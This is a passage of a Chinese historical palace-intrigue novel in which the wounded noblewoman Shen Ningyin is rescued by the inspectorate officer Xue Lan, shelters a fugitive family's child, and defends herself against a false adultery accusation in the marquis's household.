“姑娘，你没事吧？”他这才转过身来，那张俊美的脸庞总带着点天生的清愁，正是个温润君子、雅正端方的好相貌。
“在下……”他一面弯身要去扶沈宁音，一面开口似乎要介绍自己。
沈宁音几乎是本能地往旁边一避，她低垂着头，声音还带着点惊惶之后的轻颤：“多谢公子，此处不是说话的地方。”
男子扶她的手顿在半空：“也是，此处危险。”
“我送姑娘。”
“不用。”沈宁音没有多言，转身就往远处走。她强撑着，并不想让那人搀扶。
因为——
“在下姓冷，字元景。”冷元景看着眼前女子，女子十分年轻，却盘着发髻，虽穿着朴素，可再朴素也只是看起来朴素罢了。
上好的纻丝可不是谁人都能用得起的。
“多谢冷公子。”
冷元景听着女子略带疏远的声线，颇有些失望。不过，他不着急，女人身上有伤，又跟家仆失散，迟早得求助自己。
他观女子长得娇媚，周身气度再加上染血的破碎感，竟让冷元景有种难得心动的感觉。这样的贵胄女眷素来保护得极好，极难碰见，除了得个救命之恩，说不得还能借一股东风。
沈宁音知道冷元景的性子。
此人表面温润，内里就是个自私又爱钻营的。
冷元景能出来救人，必是盯了好一会儿。他势在必得的，甚至可能眼睁睁由着自己被砍这一刀。
他就跟在后头，此刻已经到了春阙街街口，沈宁音知晓自己的伤再不处置，自个儿怕是要失血过多晕过去了。
这刀伤不比寻常，止血为要。
生死面前，她也顾不上更多，咬了咬牙，从裙摆撕下来一截布条，一面单手缠绕，一面头也没抬，虚软着声音：“冷公子，妾身要止血，要包扎，可能不方便。”
她眼前已经一阵阵发黑，全靠着咬破舌尖强撑着。意思也很明显，不想他再跟。
圣朝对后宅女子的规矩虽没有对闺阁女娘那么严苛，却也仅限于抛头露面束缚得宽松些。
而冷家，沈宁音可太清楚了，那冷家老太太纵着底下的人没规没矩，可纵着归纵着，冷家却是知晓规矩的。<
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“既如此，我送姑娘去医馆。”冷元景故作不知，赶了两步要来扶她。
沈宁音此刻靠在墙根。退也退不得，往旁边一动，整个人就晕头转向。
她身子一歪，只感觉落入了一个温热的怀抱。沈宁音想爬起来，刚一挣扎，蓦地感觉鼻间萦绕着一股子松竹气息。
这不是冷元景。
“皇城司办事。”冷冷的声音，一如既往的跋扈冰凉。
薛岚的手掌在女人手臂一握，抬手就将女人打横抱在怀里。女人闭着眼，头偏在他的胸膛，露出半截凝白的脖颈，腻雪似的。
冷元景瞳孔一颤，移不开眼，同时也不敢置信，贵人家的女眷，他说抱就抱了，还是说，这女人是他的妻？
薛岚抬头，冷冽的凶眸看向了错愕的冷元景，凉薄开口：“还有事？”
“没。”冷元景还是头一遭来上京，也是头一遭见识到皇城司的威仪。这人的眼神像是能剜进你的灵魂里，将人打心眼里觉着冷。
冷元景连退了两步：“大人请便。”他此刻兴不起半点违拗、亦或打抱不平的念头。
莫说那人只是抱走一个女娘，便是当场将人要了，冷元景也只当没瞧见。
薛岚领着几个皇城司番子将沈宁音带走时，冷元景就那么看着他的背影。
“元景兄，你叫我们好找！”这时，几个文士打扮的人和几个公子哥儿气喘吁吁地找上来。
见冷元景盯着那边不错眼，其中一人眼尖，道：“咦？那不是皇城司的几大公事之一？”
冷元景一愣，转头看向那人。
此来上京，冷元景结交之人地位都不高。
但那人家里有人在上京做胥吏，某些小道消息最是通透，便得意中带着点告诫意味：“我知道他，那位戴面具的，乃是皇城司新任督公的儿子，亲的！”
“宦官也有儿子？莫不是假的……”冷元景震惊。
“嘘！”那同乡赶紧拉了他一把：“元景兄慎言，上京城到处都有皇城司的人。”
冷元景听罢连忙闭上嘴。
“薛督公目下可是圣人跟前的大红人，刚刚那位薛大人你们可万万不能招惹！”
那人看众人疑惑不解，当下压低声音道：“既是亲儿子，自然是入宫前就有的，听闻薛督公十三岁入的宫，想来是天赋异禀，那么小就能叫妇人有孕……”
几个人一面往安全处转移，一面聊着闲话。
冷元景忍不住往方才薛岚离去的地方看了一眼。
那眼神里，不是害怕，亦不全是忌惮，更有着一股子野心与倾羡。
宦官之子，这等卑贱的出身，竟有如此权势，更有那样花一般的美眷。
冷元景甚至对那女子起了些野心一般的心思。
松竹的气息，仿若与血、与痛格格不入。
沈宁音却莫名有种心安的感觉，她撑开眼睛，只瞧着那面具下的瞳仁往自个儿脸上瞥了一瞬，冷冰冰的声音里夹着显而易见的恼火：“钱币呢？”
“扔了……”沈宁音张了张嘴，喉咙有些发干。
男人停下脚步，眼神复杂。
沈宁音的心虚又深了几分，她做了许多的准备，唯独没准备依赖于他。
她不信他。
“你放我下去。”沈宁音终于意识到姿势不太对劲。
49. 截住
是临街的一处屋舍。
屋子里熏烟袅袅，是刚燃的。沈宁音好歹被松开了，她这会儿耳畔的臊热消退了许多。因着缺血，沈宁音身子开始发软、犯冷。
那种冷，是由内而外的，叫人难受得紧。
薛岚只瞥了一眼，便动身出去了一趟，不过几个呼吸，他这会儿已经推开了门。
男人将东西放在桌上，一手拉开她的袖子。男女有别，这等行为分外无礼，沈宁音想抽回手，但失败了。
染血的布条被解开，伤口上的皮肉翻卷，变得触目惊心。薛岚眼都没眨一下，随手掏出一根针来。
沈宁音瞳孔地震，一把按住他的大掌：“你做甚？！”
薛岚面具下的眉宇蹙起，一瞬不瞬地盯着她看：“缝。”
沈宁音眉头紧蹙：“不用……”
她嫌弃薛岚的技术，委实是薛岚的风评、从前的劣迹，还有皇城司的名声太响亮，若说肢解剖尸的技术沈宁音很信，但缝皮肉这等事，沈宁音万万不敢信的。
但薛岚冷了眼神，捉起她的手臂就要往上缝。
“别！”沈宁音死死抓着他的手。
薛岚心里不耐，可瞧见她眼睛里的水色，到底是捏了捏银针，解释了句：“没时间了！”
此次事情，皇城司的人有所行动薛岚知道，可他也没料想竟还有另一批人……
他要赶着那边反应过来之前将人送出去。
但这种事，薛岚并不打算告知沈宁音。
薛岚一针扎下去，略歪，他蹙了蹙眉，拔出来重新扎，沈宁音唬得心肝都一颤。她额头沁出冷汗来，咬着牙问：“薛大人，您缝过伤口？”
薛岚默了默，不太确定：“缝过……”他是真缝过的：“往日被砍断的尸骨，割破的皮肉……”
“入殓之前我都……”
沈宁音不敢置信，慌忙打断他，声音都在颤：“薛大人，你放下！我自己来……”
没有麻沸散，没有止痛膏，薛岚看了一眼沈宁音，在心里细细衡量，下一瞬，他抬手将人拍晕……
不知过了多久。
沈宁音悠悠醒转。此刻，血腥气已然褪尽，竹意清冷、淡淡的松竹冷香丝丝缕缕萦绕于鼻息，她的身子与视野又晃了晃。是那人在推她。
沈宁音睁开眼，整个人就仿若瓷碗里给晃浑的蛋黄。唯独手臂上的伤口疼在提醒着她。
还没来得及查看伤口。薛岚见她醒了，便将她一把捞到怀里，声音是一如既往的冷：“上车。”
沈宁音反应过来时，已经被那人推进了马车内。
“薛大人！”她反应过来了，沈宁音衣服被换了！她穿着这身衣裳要怎么回去交代？！
正要掀帘出去理论的她，在看见车子里那双惊慌的眼眸时堪堪顿住了。
马车里坐着个姑娘，沈宁音记得这姑娘，正是先前被关在囚车里的。是许冠生的阿姐。
许姑娘这会儿已经略微收拾过，可手里还抓着那个染血的布娃娃。
她很紧张。任谁在经历了那样可怕的修罗炼狱后也不可能没甚反应。更何况，这女子还处在那风暴的最中央。
车帘外传来薛岚言简意赅的声音：“梧桐街。”是要她把人送到那儿去。
沈宁音看了眼马车，这是她停在春阙街的那一辆。皇城司给她抢出来了。也真难为他们在那样的混乱之下，连马儿都能安抚住。
抿了抿唇，沈宁音转身掀开帘子，薛岚就在门外，长身玉立，转头看过来的时候，眸子微有诧异。
沈宁音开口：“我的侍女与家丁呢？”
人，她可以救，但她并不欠着谁，沈宁音也想明白了，是薛岚的安排出了岔子，即便没扔了那钱币，薛岚该有的责任也依旧难辞其咎。
沈宁音绝不会救那些热她失去亲信之人。
看着女人眼睛里仿佛换了个人般的坚毅神色，薛岚竟也没发作，只转头冲一旁吩咐了句。
很快，惊魂未定的兰香就一瘸一拐地扑了过来。
沈宁音略微松了口气，她抱着小丫鬟软声安抚，又瞥了一眼，发现走散的家丁也在，唯独不见了染竹。
她心里忐忑，目光又望向了薛岚。
“有人看见她被人救走。”薛岚道。
“救走？”沈宁音让兰香先上了车，声音转冷：“你怎知旁人是救她，不是掳劫？”
甚少有人会这般违拗薛岚，尤其这般质疑语气的，沈宁音是独一个。
年轻的皇城司公事面具下的眉头深深蹙起。
他不说话的时候，一旁见惯了腥风血雨的胥吏与下官统统都低头看向脚尖，眼观鼻鼻观心，生怕遭了迁怒。
众人皆为那女娘狠捏了把汗。
兰香哭都不敢哭了。
事涉染竹，兰香也不敢劝，只上前去拉住了沈宁音的袖子。
沈宁音抬胳膊挣开，只盯着薛岚的眼睛。
她深知道一点，许多事情，若然自个儿不肯坚持、不肯叫人知晓问题的严重，她若退让半分，皇城司这样的衙门，哪里还会认真尽责地给她个交代？
在皇城司面前，昌平侯府少夫人的身份，什么都不是。
沈宁音要染竹活，要她全须全尾地回来。
刀鞘轻响，薛岚手掌握紧了刀柄，沈宁音整个人紧绷了起来，但她此刻，即便刀斧加身也不可能退却。
就在众人以为薛衙内要发作之际，男人深吸了一口气，无波无澜的声音在空气里响起：“明日。”
他说完这句，转身便走。一起子皇城司番子与胥吏皆跟在他身后，呼啦啦就走了个干干净净。
等人走远了，沈宁音才晃了晃身子。兰香连忙扶住她，焦急道：“少夫人！”
马车不算宽敞，其实坐不下三个人，沈宁音再进车厢时，那位姓许的姑娘已经不见了。
沈宁音看了一眼马车后的榆木箱子，心下了然。
许姑娘是朝廷钦犯，多一人知道就多一分风险，沈宁音并未告诉兰香。
一如沈宁音预料，薛岚早做了疏通，马车上挂着侯府的灯笼，实在好认，便也没人敢乱搜。
毕竟，也不是谁都像薛岚这般跋扈，谁都敢惹。
沈宁音把人刚送至梧桐街，就有人出来接应。
接应的人里头有个小孩子，约莫五六岁年纪，看起来倒与那秦齐一般大。沈宁音就多看了两眼。
那位许姑娘手里的布娃娃原来是这孩子的。
沈宁音一度以为这般的玩偶应该属于一位小姑娘，却不知对方竟是个男孩。<
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“二少夫人。”男孩子追出来送她，眼睛里还有将将未擦干净的眼泪。喊起人来，却是执礼恭敬的。
沈宁音笑着点点头，这孩子显然教养得极好。
可惜了。
“回去吧，不必送了。”外头冷，孩子穿着单薄，沈宁音挥了挥手。
小孩儿没退，反而往前走了两步，眼神坚定：“娘亲说，叫我同你回去。”
沈宁音大感诧异。
小孩儿脸色认真，像个小大人：“二少夫人救了我阿娘的性命，救命之恩，当涌泉相报。”
他靠近，小声道：“阿娘说，我在你手里头，薛大人便会全力救那位染竹姐姐。”
沈宁音半晌才反应过来，这孩子是想做自个儿的人质？
她“噗呲”一声笑了，伸手摸了摸小孩儿的脑袋。
沈宁音并非什么纯善之人，其实就在路上，她也想过，若非那许姑娘是个钦犯，她是真敢把人扣在侯府，等薛岚拿染竹来换的。
可现如今，两世为人见惯了尔虞我诈的沈宁音，却深深看了一眼不远处的酒家。
人的影，树的皮，许家人满门忠烈，就连女子、连小孩儿，都是不蔓不枝的刚正性子。
也就是在这一瞬间，沈宁音心里的悔突然就淡了许多。
她隔着衣袖摸了摸手臂上的伤。风仿佛也不那么冷彻入骨了。
“你回去守着你阿娘，不必追随我，外头危险。”沈宁音斟酌语气，温柔劝说。
她并不想叫小孩儿误会自个儿是怕受牵连。
小孩儿却是动作麻利地跳上了马车：“二少夫人不必担心。”他很严肃：“薛大人给我做了身份，旁人一时也查不出来，我能自己吃饭，能自己念书，绝不叫您受半分影响。”
他顿了顿：“我叫南烛。”直到这会儿，南烛才颇有些不好意思地挠了挠小脸，像个寻常孩子般脸红了红：“若是府里无书，我也可以乖乖待在房中。”
又仰起脸：“柴房也没关系，有片地方遮雨就行。”
沈宁音未免添了几分恻隐。
前世在冷家，那些庶子庶女，哪个不是锦衣玉食？
那是半点委屈不愿受的，偏个个表面恭顺，背地里却叫冷家那些个妯娌、婆母撺掇一下就坏了芯子。
没想到，身处绝境，眼前这孩子竟有这等心境。
思来想去，沈宁音吩咐兰香去查看南烛的鱼鳞册，等核对妥帖，这才领了他走。
一整天的风波后，沈宁音回到侯府是肉眼可见的疲倦，要兰香搀扶着才能维持着仪态。
叫家丁领着南烛从小门回的祁秀院，毕竟南烛身份敏感，哪怕只待着一两天，哪怕薛岚做了身份就连上京衙门也查不得，但沈宁音性格使然，也是谨慎为上。
她将将踏上二门，就见秦耀阳身边儿的长随迎了过来，神色颇有几分复杂：“二少奶奶，二爷喊您过去。”
沈宁音浑身乏累，淡声道：“跟世子说我乏了。”
她使了个眼神，兰香便扶着她往祁秀院走。
这会儿沈宁音身上穿着的可不是先前出门儿时候的衣裳，若然叫秦耀阳瞧见，还不知要闹出个什么事儿来。
沈宁音这会儿没精力同他分说。
“宁音！”
50. 质问
游廊拐角处，秦耀阳走了过来。
此刻风很淡，秦耀阳脸上也没什么表情，可沈宁音就是能瞧出这人眼底引而不发的愠怒。
“世子。”沈宁音面上不显，撑起精神迎了上去。
秦耀阳的眼神在她身上打了个转，最后落到她眸中：“怎么这么迟回来？”
沈宁音浅笑，目不斜视：“去巡铺子，遇着些事耽搁了。”
昌平侯府的府务刚交到她手里，沈宁音虽去了春阙街，但这话也算不得扯谎。
她这般镇定，若换了往日，以秦耀阳这样两头不沾且寡断的性子，该是要软下语气怀疑他自个儿错怪人了。
可是没有，秦耀阳盯着她的眼眸浮现几许血丝，声音转冷：“是么？”
沈宁音莫名其妙，兰香忙上前扶着主子：“二爷，少夫人外出办事儿受了疲累，奴婢先扶她回院子歇会儿。”
“没你说话的份儿！”秦耀阳冷笑。
他一把抓住了沈宁音的手腕，眉眼染着霜：“巡个铺子，连衣裳都换了？这是怎么累的？”
秦耀阳抓的，恰是沈宁音那只受伤的胳膊，虽没抓到伤口，却也扯着疼。
沈宁音秀眉微蹙，本就苍白的唇瓣咬得更白，脑子里的困顿也消了大半。
秦耀阳只以为她是心虚了，当下拉着她就往里头去。
沈宁音虽不至乱了分寸，可心里也不禁打鼓。她这一路出去，没带几个人，带的也都是打侍郎府来的旧人。
怎么想也觉得秦耀阳此番太过小题大做，他莫不是刚好撞见薛岚抱自个儿的那一段？！
可除了这个，沈宁音委实也想不出自己还有什么能叫他这般恼怒的。
行至会客厅的垂花门，沈宁音咬咬牙，抬手去掰他的手掌。
秦耀阳没料到她做了亏心事竟如此胆肥。猝不及防之真让沈宁音挣脱了开。
沈宁音一面揉着手腕，一面蹙眉，她的声音沉稳：“世子这是做甚？你弄疼妾身了。”
走完这一段路，沈宁音也想得清楚，男人就是如此，自个儿养着个可心的姘头，便要以己度人。
他不会换位思考觉着自个儿有错，只会觉着你不干净了，你不高尚了，一切的错处就都是因为你了。
他就能心安理得地给自己开脱，加倍地折辱惩罚你，然后再去补偿那所谓自己“亏欠”了的红颜知己。
越是这种时候，便越不可叫他得逞。
“你！”秦耀阳指着她的鼻子怒不可遏，他到底不是个有城府的，稍一受激便恍若去岁的爆竹般易燃易爆炸：“男人都找上门来了！你还敢这等态度！”
男人？找上门？
沈宁音揉着手腕的指尖一顿，抬眸时，她心中的忐忑反而没了。唯余的，只剩了好奇。
薛岚不过是个宦官，算不算男人且另说，他今儿在春阙街劫的可是圣人下令缉拿的反贼家眷。
他那样谨慎的人，又岂会高调地跑到侯府现？
一定不会是薛岚，那么到底谁？
等沈宁音进了垂花门、入得厅堂，看着了人，才终于明白。
“沈……二少夫人。”陈守岳甫一瞧见她就站了起来，男人似乎松了口气。
往日里得意非常，从不拿正眼瞧她的陈家三郎，此时此刻站在那儿，眼神破天荒有些躲闪。
不光他，其实沈宁音也莫名松了口气。
但，先前春阙街的事儿还历历在目，贪生怕死人之常情，可陈守岳非但贪生怕死，还害了她一场，沈宁音瞧他不起。
沈宁音隔着袖子抹了抹小臂上的刀口，他若不来，沈宁音也会找个机会好生处置处置陈三郎。
陈守岳浑身尴尬，想夺门而走，想起父亲耳提面命，偏又不敢。
秦耀阳的目光就在沈宁音与陈守岳之间来回梭巡。
“你可还有话说？”秦耀阳越看表情越阴沉。
他死死盯着妻子。
毕竟，这陈家三郎跑来侯府，开口就问及秦耀阳的夫人，任谁遇着这等头上染绿之事都不可能平静得了。
“妾身没话想说！”沈宁音别开脸去。
秦耀阳听她都火烧眉毛了，语气里竟没有半分悔意，登时就气着了：“你！”
看到这等情况，慢半拍的陈守岳甚至有点儿瞧笑话的意思，还是他身后的仆婢戳了一下提醒他。
陈守岳想起陈父的话，这才上前不疼不痒地道歉：“对不住。”
干巴巴的道歉，也不知是对谁说的。
秦耀阳更气了，眼瞳里像是要冒出火来，他正要发作，门外就来了好些人。
周婉被人搀着，旁边儿就是闵氏，昌平侯走在最前面。
沈宁音一看这阵仗，还很唬人。
她的目光不由看向周婉。
周婉前阵子摔那一下，非但没叫秦耀阳留宿，还没去成宗祠观礼，儿子更得了个不轻不重的亲戚身份。沈宁音原以为周婉能再消停一阵的。
没料想，今日竟发现周婉连前院也有耳目。
周婉弯了弯唇，眼神隐晦地瞥了沈宁音一眼。随着门口又走进来沈弦思与沈夫人，周婉眼底有幸灾乐祸一闪而过。
前头两次交锋，老夫人都没站在周婉这边。她这次为着处置沈宁音，是特意略过了松鹤堂的。
而闵氏，有心叫沈宁音翻不得身，所以得了消息便直接叫人去喊昌平侯。
陈守岳哪知这里的弯弯绕，更没见识过眼前这等阵仗，登时看向沈宁音的眼神都变了。
那震惊的眼神沈宁音懂，陈三郎怕是以为自个儿有多么得宠，以为这些人都是来给她撑腰的。
陈守岳当即白了脸，着急地看向人群之中的沈弦思。
“这事儿……这事儿也不能全赖我。”陈守岳嗫嚅着，一双眼睛充斥着忐忑惊慌，仿佛想解释给所有人听，也解释给沈弦思听：“再说了，沈宁音不是已经平安回来了么？”
他看向沈宁音：“沈宁音你说句话呀！”
沈宁音还没说话，昌平侯已经怒瞪着陈守岳：“把他先带下去，关进柴房里！”
“放开我！你们不能这样！
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”陈守岳惊慌失措地大喊大叫，登时就有人拿破布堵了他的嘴拖了下去。
正所谓家丑不可外扬，秦家人就算要处置人，也断断不可能当着外人的面。
众人的目光皆落在了沈宁音脸上。
“跪下！”昌平侯咬牙斥问：“你可认罪！”
沈宁音飞快扫了一圈，各人脸上的表情皆有不同，但最多的便是幸灾乐祸，尤其沈弦思。
所谓形势比人强，沈宁音故作服软地提起裙摆，跪了下去，她虽柔顺地照做，但抬起来的脸上是一派问心无愧与心痛：“儿媳委实不知公爹何意？更不知我何罪之有？”
“你还真是不见棺材不掉泪！”闵氏叉着腰冷言冷语：“你可别装了，你不守妇道也不是第一遭，你跟那陈三青梅竹马，出嫁前就不清不楚！”
“若非如此，那陈三为何隔三差五找上门来！？上次带着他妹妹做掩护，今儿你们怕是已经成了好事吧？”
闵氏拉着沈弦思的手，痛心疾首地冲着沈宁音道：“最可恨是你这小贱人不止勾搭一人！弦思还看见了你在寒山寺与男子私会！”
“也就是我儿一时被你迷惑，处处都护着你！你对得起你夫君对得起侯府吗？！”
沈宁音没说话，亦没反驳，她看向沈弦思。
她终归花了一条命才领悟到——人心中的恶念，像一条长河，不会因着山长水远而变淡，更不会因着你退让躲闪而放过。
一如此刻，沈弦思明知道，她不必说话，只要默认了，便是要叫沈宁音坠入深渊。
沈弦思此刻的得意、幸灾乐祸里，藏着不知所起的怨毒。
沈宁音看得很清晰，她早知这些人的嘴脸，如今，她是半分都不打算让的。
沈宁音转向秦耀阳：“世子，她这等胡言乱语，你信是不信？”
女人水润的明眸定定看着他，秦耀阳一时间有些恍惚，偌大的厅堂内，她是自己的妻，而她在需要着自己。那种保护欲几乎要穿透胸腔。
是啊，先前在寒山寺，分明只是个误会。他分明没信沈弦思的鬼话，甚至还告诫妻子远着她些。
这样历历在目的光景，不过几日，秦耀阳又岂能或忘。
男人脸上有片刻挣扎，他张嘴欲说些什么。周婉心下一慌，连忙拉了拉闵氏的袖子。闵氏脸色一变，大步走到儿子跟前儿拦着：“贱人！你又想蛊惑我儿！？”
闵氏怒其不争瞪着自己儿子：“她都做出这等不要脸的事儿了！你还想护着她！”
秦耀阳下意识地看向周婉，看着周婉楚楚可怜的病弱脸庞，最终别开了眼，不再看沈宁音。
“你一而再地做出这等污秽的丑事！侯府是容不得你了！”闵氏说出话来，她这会儿终究是扬眉吐气了。
从来都给老夫人压着也就罢了，沈宁音算个什么东西？自她嫁过来后，连沈宁音都能压着自己做主母了！闵氏心里憋着一肚子怨气。这下甫一逮着机会，正好狠狠出一口恶气。
“来人！”闵氏越过了昌平侯去，直接吩咐：“把沈氏拿住！”
51. 反弹
“且慢！”沈宁音蹙眉扫视。
她眼神积着威，气场十足，上次昌平侯府抄家那日她的沉稳尚且于仆婢中历历在目，没有昌平侯发话的情况下。一时都没人敢上。
周婉眼瞧着她一抬手，兰香便搡开人群扶她站起来。
都这样的状况了，她竟然还能这般冷静从容。
她沈宁音凭什么？
一股子妒恨的复杂心绪从心底里招摇而出，周婉见不得沈宁音好，她当下攥紧拳头低斥了声：“都愣着做什么？都聋了？”
周婉再有情绪，也都谨慎地躲在人后，不肯做那个出头的。
沈宁音心下冷笑，她知晓，越是众矢之的的险境，越是要抓稳重点。
她高声问：“可有证据？”
“无妨寒山寺那次，还是如今这次。”沈宁音道：“妾身可以受委屈，却不能平白无故就吃下委屈。”她的目光直直看向地位最尊的昌平侯。
人若吃了亏，遭了污蔑，最容易陷入自证的陷阱。要想打破这个，便得掌控主动。
昌平侯是沈家救回来的，闵氏把他请来，原意是想当着昌平侯与沈夫人的面儿，借机处置了沈宁音。可恰恰是秦侯在，他是最不愿事情闹大的。
沈宁音就是要闹，越闹，往后归拢侯府的事儿就越顺遂。这简直是送上门的好事。
“我亲眼看见的！”此刻的沈弦思很不服气，当先跳出来作证。
“我敢发誓，我就是亲眼看见沈宁音与一男子在寒山寺不清不楚的！”
沈弦思永远忘不掉，几日之前，母亲不许她张扬，就连那矜贵浓俊的姐夫也不信自己！这个男人，本来该是自己的男人！
沈弦思憋了几日，如今分外咬牙切齿。
沈宁音也不恼，只拿失望的眼神看向沈夫人：“母亲，弦思妹妹污蔑我，您也不管？”
沈夫人表情难看，但她再拎不清终究也知道事情的严重性，连忙去拉沈弦思的手腕：“弦思，不得胡言！”
沈弦思是个骄纵的，打小从没吃过什么憋屈，此刻表情分外倔强，一把睁开了沈夫人的钳制：“我没有胡说！我就是认证！”
闵氏冷笑：“你且听听？弦思姑娘大义灭亲，她能如此，想来是你在闺中时，欺辱姐妹、品行不良。”
“不然怎么会连你亲姐妹都这般说你！”
听着周遭众人的小声议论。沈宁音觑了一眼沈弦思那张染着江南水色柔美脸庞，这样的一张脸，与自己长得半点也不像，倒是她眼睛像极了眼前的沈夫人。
沈宁音不想多分辨，冷声道：“亲姐妹又如何？不过是她一面之词。”她上前一步：“就连将才婆母所言，也同样是没依据的臆想。”
“你！”闵氏大怒。
沈宁音没给她机会发作，只看向昌平侯：“还请侯爷明鉴，当时在场之人有清河郡主、有昭王殿下，连母亲也在，又怎会单单我妹妹瞧见了？”
“侯爷若不信，大可以去王府询问。”沈宁音半点不慌，沈夫人自个儿还有两个嫡女要寻婆家，似沈夫人这样自私之人，在这等事情上是绝不会分不清轻重。
至于昭王与清河，那就更不怕昌平侯去问了。
“你！”沈弦思眼瞧着昌平侯投过来不信任的眼神，她也慌了，沈弦思瞪着沈宁音：“你休想狡辩！”
“够了！”昌平侯呵斥了一声：“这儿不是你们侍郎府！”
这所有人里头，唯独昌平侯是最希望大事化小的，是以，烦躁之下，语气颇重。
沈弦思直吓得小脸一白，而一旁的沈夫人只觉万分尴尬，脸上青一阵红一阵的，下不来台。
昌平侯说的这么句话，纯属打脸她没教好女儿，而沈弦思给阮家养得没规没矩的，她偏偏也拿不出反驳的话。
“侯爷，就算上次未能求证
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，那这次呢？”闵氏开口解围。
“野男人都追到府里来了！怎么也得给个交代吧？”
闵氏一时间又找回了底气，就仿佛沈宁音的错处已经给板上钉钉了一般：“闹出这等丑事来，休了，或是送去做个姑子，总要有个章程。”
“昭儿，你怎么说？”
闵氏问及秦耀阳，他眼神都有些恍惚，不知在想些什么，只把袖子里的手掌捏得邦紧。
秦耀阳没说话，最后看向沈宁音。
沈宁音也在看他，片刻后开口道：“此事，我本不想讲的。”
她举步往秦耀阳面前走了两步，就站在他手边：“我先前无话想说，全因为这事儿那陈守岳做得不体面。”
“妾身不想因为此事，叫陈大人难做。”
沈宁音此话一出，她抬起帕子擦眼角时，周婉心里就有些不妙的预感了。
“既然公爹、婆母，还有母亲，大家都想知道，那我便说出来吧。”
沈宁音深吸口气，将此次在街上遇险之事、还有差点儿被陈守岳害死、以及那人将她丢在贼人刀下，任由贼人砍杀之事都说了出来。
只不过，沈宁音隐去了许多细节，只说是一位萍水相逢的侠士就下自己，最后被皇城司的人送上了马车。
这些情况她皆没撒谎，而且，沈宁音说的，就是外头人能找人问出来的部分。
原本沈宁音连冷元景都不愿提及的，又恐将来沈弦思与他成婚后漏出来只言片语，不提的话，解释起来实在麻烦。
周婉是个灵醒的，沈宁音还没讲完她便知自己的人只听了一半便来禀告，怕是弄巧成拙了。
她这次制不了沈宁音，捏了捏衣袖，周婉便果断选择退走。
没走几步，却听着沈宁音在后头一个一个质问，最后话头落到了自个儿脑袋上。
“这……是婉儿，婉儿告知我的。”
52. 可笑
薛衙内来访必无好事。
每次都是！
他人跋扈，又是出了名的凶残暴戾，剖人如剖尸。无妨男女贵贱，落他手里，死都算解脱。
这人犹如一头恶犬，如今更是圣人手里的刀，提拔成了勾当皇城司公事后，人人恨得牙痒痒，又委实动他不得。
昌平侯甫一见他领着众番子踱步进来，黑底绣衣，状若翳云，煞气四溢，他只觉心里“咯噔”一下。
“薛使司。”昌平侯脸色有些难看，也不敢如之前一般翻脸，将将那一家之主的煌煌威仪也散了个干净。
秦侯一面飞快检索这几日的行迹，一面沉声道：“不知皇城司此来，所为何事？”
最近圣人愈发暴躁，使“刀”杀几个朝臣也未为可知，秦侯也恐自个儿是无意中做了什么错事儿触怒圣颜。
昌平侯如此，那起子侯府下人更是战战兢兢。就连没见过薛衙内逞凶的沈弦思都吓得花容失色心里打鼓、连忙挽住了一旁沈夫人的胳膊要往后躲。倒是沈夫人，非但没怕，看向薛岚的目光还有几分亮堂。沈宁音未免多看了一眼。
薛岚是一贯地冷寒，面具下凶兽般的锐眸只缓缓扫视了一圈，那将将还议论纷纷只想把沈宁音钉上耻辱柱的人们，就好似被只无形的手掌攥住了脖颈的鸭子、雀子般安安静静、悄无声息的。
他们各个都白着一张脸，垂着眼眸，连打量都不敢。
昌平侯犯了难。管吧？惹不起，皇城司是圣人的，薛岚背后那薛督公又是实权大太监，最为恣睢记仇。不管吧？往后若传扬出去，侯府给人家欺上门来，什么表示都没有，那可别想要体面了。
若说明来意也还好，怕就怕薛岚这等不说话的祖宗，猜不透，还撵不得。
薛岚虽是强闯，可他后台硬啊。
沈宁音只装看不见、听不见，眼观鼻鼻观心。在沈宁音心里，薛岚再厉害，终归会死于非命，靠不着丁点儿。
他的地位，尚不如腕上玉镯，匣中金银。
但她不肯贴上去，别人却肯的。
“薛使司。”
就在沈宁音审慎薛岚来意的当口，一直不说话的沈夫人脸上堆了笑，开了腔：“您可还记得妾身？”
薛岚转眸，用眼角瞥着她，沈夫人一对上那乌沉沉的黑瞳，笑意更浓，她也还记得拉了沈弦思，两人想站到薛岚身边去。
却被番子们喝退了。
沈夫人见状有些着急：“是我啊！”
似乎察觉到自个儿语气没对，沈夫人略尴尬：“妾身是沈侍郎沈定山的夫人。”
“沈定山？”薛岚低喃了句。
“对对！”沈夫人脸上重又浮现出笑意，朝身边的沈弦思点了点：“这是咱们府里的嫡出姑娘弦思。”
前世，侍郎府与皇城司那是八竿子打不着边，沈宁音瞧在眼里，着实惊诧了一下。但她瞬间明白过来——
薛岚出狱，是沈定山谏言的，不管内情如何，在天下人眼里，沈家也对薛岚有着恩义。沈夫人就是想打着这层关系。
薛岚戴着他那副金属面具，瞧不见底下是何表情。他看向沈弦思之际，那姑娘吓得花容失色，本能想躲。
沈夫人看看泰山崩于前不改面色的沈宁音，再看看手边沈弦思这不成器的样子。沈夫人终于有了点对阮家教养女儿的怨怼。
沈弦思委实不堪用，平日里也就罢了，如今众目睽睽之下，就更显丢人了，沈夫人手上使了些力，直将沈弦思拉了出来，她语气难得肃穆严厉。
“思儿！你成何体统？还不快见过你薛家兄长？”沈夫人此话一出，若平地一声惊雷，整个昌平侯府都惊了，沈弦思也惊了。
兄长？
那可是薛督主的亲儿子！是圣人跟前的大红人，是马上就要飞升重用的实权贵人！这样的人，竟然成了沈弦思的兄长？
众人这般表情落在沈夫人眼里，她心里未免又多了几分与有荣焉和得意。
沈宁音蹙眉，不动声色地转眸去看，以她对人心的揣度，薛岚也不似冷元景与秦耀阳，他那样的人，更像影子，即便站在阳光下，都似有一股子孤绝的寒气，像一瀑泻地的冰川，天煞茕绝，一往无前，不为任何人牵绊。
他不会认什么妹妹。沈宁音很肯定。
果然，面具下那黑沉沉的乌眸里，莫名叫沈宁音瞧出几分冷冷的不解来。
沈夫人还在说着话，她声音略微提高，明面儿上是说予沈弦思听，其实更像是昭告众人：“薛督公昨日说了，咱们家老爷，你爹，当初救了薛大人出诏狱，是把大人当子侄呢。既如此，你可不就该喊他一句兄长么？”
沈弦思先是一愣，旋即化作了惊喜。
在她与沈夫人的认知里头，薛督公自然要大过了薛岚去。
人督公都开了口，沈弦思觉着，便是自己得罪过薛岚，他一个做儿子的是，哪里能违拗自个儿的干爹？
昌平侯众人里头最先反应过来的是周婉，她拉了拉闵氏，闵氏也回过味儿来。
两婆媳当即一面说着话，一面往沈夫人与沈弦思亲亲热热地靠了过去。
这下，所有人看向沈宁音的目光就充满了复杂。有同情的，有轻蔑的，更有幸灾乐祸的。
“真不要脸，勾引男人之事闹得连皇城司都要知道了，就是。”
“偏还一幅不知悔改的模样，真下贱。”
